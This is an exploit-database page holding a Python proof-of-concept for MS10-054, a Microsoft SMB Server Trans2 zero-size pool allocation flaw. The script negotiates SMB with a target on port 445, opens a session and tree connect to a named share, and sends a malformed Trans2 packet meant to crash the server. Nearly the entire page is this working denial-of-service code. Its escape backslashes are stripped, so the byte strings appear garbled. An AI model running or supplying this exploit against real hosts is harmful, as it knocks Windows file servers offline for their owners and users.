[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Microsoft SMB Server Trans2 Zero Size Pool Alloc (MS10-054)
# Published : 2010-08-10
# Author : Laurent Gaffie
# Previous Title : Microsoft Windows CreateWindow Function Callback Vulnerability (MS10-048)
# Next Title : Rosoft media player 4.4.4 SEH buffer overflow POC
#!/usr/bin/env python
import sys,struct,socket
from socket import *
if len(sys.argv)<=2:
print '#######################################################################'
print '# MS10-054 Proof Of Concept by Laurent Gaffie'
print '# Usage: python '+sys.argv[0]+' TARGET SHARE-NAME (No backslash)'
print '# Example: python '+sys.argv[0]+' 192.168.8.101 users'
print '# http://g-laurent.blogspot.com/'
print '# http://twitter.com/laurentgaffie'
print '# Email: laurent.gaffie{at}gmail{dot}com'
print '#######################################################################nn'
sys.exit()
host = str(sys.argv[1]),445
packetnego = "x00x00x00x9a"
packetnego += "xffx53x4dx42x72x00x00x00x00x00x00x00x00x00x00x00"
packetnego += "x00x00x00x00x00x00x00x00x00x00xc3x15x00x00x01x3d"
packetnego += "x00x77x00x02x50x43x20x4ex45x54x57x4fx52x4bx20x50"
packetnego += "x52x4fx47x52x41x4dx20x31x2ex30x00x02x4dx49x43x52"
packetnego += "x4fx53x4fx46x54x20x4ex45x54x57x4fx52x4bx53x20x33"
packetnego += "x2ex30x00x02x44x4fx53x20x4cx4dx31x2ex32x58x30x30"
packetnego += "x32x00x02x44x4fx53x20x4cx41x4ex4dx41x4ex32x2ex31"
packetnego += "x00x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57x6f"
packetnego += "x72x6bx67x72x6fx75x70x73x20x33x2ex31x61x00x02x4e"
packetnego += "x54x20x4cx4dx20x30x2ex31x32x00"
def tidpiduidfield(data):
all_=data[28:34]
return all_
def handle(data):
##Chained SMB commands; Session Setup AndX Request,Tree connect
if data[8:10] == "x72x00":
sharename = "x00x00x5cx5cx5c"+str(sys.argv[2])+"x00x3fx3fx3fx3fx3fx00"
packetsession = "xffx53x4dx42x73x00x00x00x00x10x00x00x00x00x00x00"
packetsession += "x00x00x00x00x00x00x00x00x00x00xd5x15x01x00x81x2f"
packetsession += "x0dx75x00x7ax00x68x0bx32x00x00x00x00x00x00x00x18"
packetsession += "x00x00x00x00x00x00x00x04x00x00x00x3dx00x01x01x01"
packetsession += "x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
packetsession += "x01x01x01x01x01x59x4fx00x57x4fx52x4bx47x52x4fx55"
packetsession += "x50x00x57x69x6ex64x6fx77x73x20x34x2ex30x00x57x69"
packetsession += "x6ex64x6fx77x73x20x34x2ex30x00x04xffx00x00x00x00"
packetsession += "x00x01x00"+struct.pack(">i", len(sharename))[3:4]+sharename
print "[+]Session Query sent"
return struct.pack(">i", len(packetsession))+packetsession
##Trans2, Request, QUERY_FS_INFO Query FS Attribute Info
if data[8:10] == "x73x00":
packetrans = "x00x00x00x46"
packetrans += "xffx53x4dx42x32x00x00x00x00x00x01xc8x00x00x00x00"
packetrans += "x00x00x00x00x00x00x00x00"+tidpiduidfield(data)+"x13x00"
packetrans += "x0fx02x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
packetrans += "x00x00x00x02x00x44x00x00x00x46x00x01x00x03x00x05"
packetrans += "x00x00x44x20x05x01"
print "[+]Malformed Trans2 packet sentn[+]The target should be down now"
return packetrans
def run():
s = socket(AF_INET, SOCK_STREAM)
s.connect(host)
s.settimeout(2)
s.send(packetnego)
print "[+]Negotiate Protocol Request sent"
try:
while True:
data = s.recv(1024)
s.send(handle(data))
except Exception:
pass
s.close()
run()